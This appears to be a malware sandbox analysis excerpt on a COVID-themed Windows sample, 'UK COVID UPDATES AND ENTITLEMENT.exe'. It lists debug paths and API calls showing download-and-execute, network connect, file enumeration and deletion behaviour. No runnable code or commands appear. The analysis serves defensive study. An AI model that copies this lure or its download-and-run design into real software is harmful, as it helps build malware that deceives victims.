Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbd?x source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: upwntdll.pdb(/ source: WerFault.exe, 00000022.00000003.442299112.0000000005532000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000022.00000003.442155176.000000000359D000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdbR?" source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: wininet.pdb&?> source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: psapi.pdbL? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: nlaapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: CLBCatQ.pdb=6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdbJ? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb;6I source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: D:\Before FprmT\Document VB project\FireFox Stub\FireFox Stub\obj\Debug\VNXT.pdb source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, dwnl.exe, dwnl.exe.28.dr
Source:	Binary string: WINMMBASE.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000022.00000003.443176095.0000000003591000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdbc6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: winmm.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbx?t source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: winrnr.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net35/Newtonsoft.Json.pdb source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdbv? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbo6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net35/Newtonsoft.Json.pdbSHA256/ source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp
Source:	Binary string: D:\Before FprmT\Document VB project\FireFox Stub\FireFox Stub\obj\Debug\VNXT.pdbh} source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, dwnl.exe.28.dr
Source:	Binary string: iertutil.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: psapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdbn?f source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: cldapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000022.00000003.442155176.000000000359D000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: winmm.pdb(?$ source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000022.00000003.442720007.0000000003597000.00000004.00000001.sdmp
Source:	Binary string: urlmon.pdb@? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: gdiplus.pdbT?( source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: edputil.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_0040BEA2 ??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,atoi,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,GetLogicalDriveStringsA,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,?find@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDII@Z,?resize@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,ShellExecuteW,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040A71E ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,SetEvent,FindCloseChangeNotification,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,atoi,GetTickCount,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,atoi,atoi,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,URLDownloadToFileA,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,ShellExecuteA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_00402C45 _EH_prolog,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,socket,connect,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,_CxxThrowException,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,_CxxThrowException,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,_CxxThrowException,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hs
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040BC9B ??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindNextFileW,FindNextFileW,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_00403183 wcscmp,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@G@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindNextFileW,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$all
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040F234 SetFileAttributesA,FindFirstFileA,FindNextFileA,RemoveDirectoryA,SetFileAttributesA,DeleteFileA,GetLastError,FindClose,RemoveDirectoryA,FindClose,
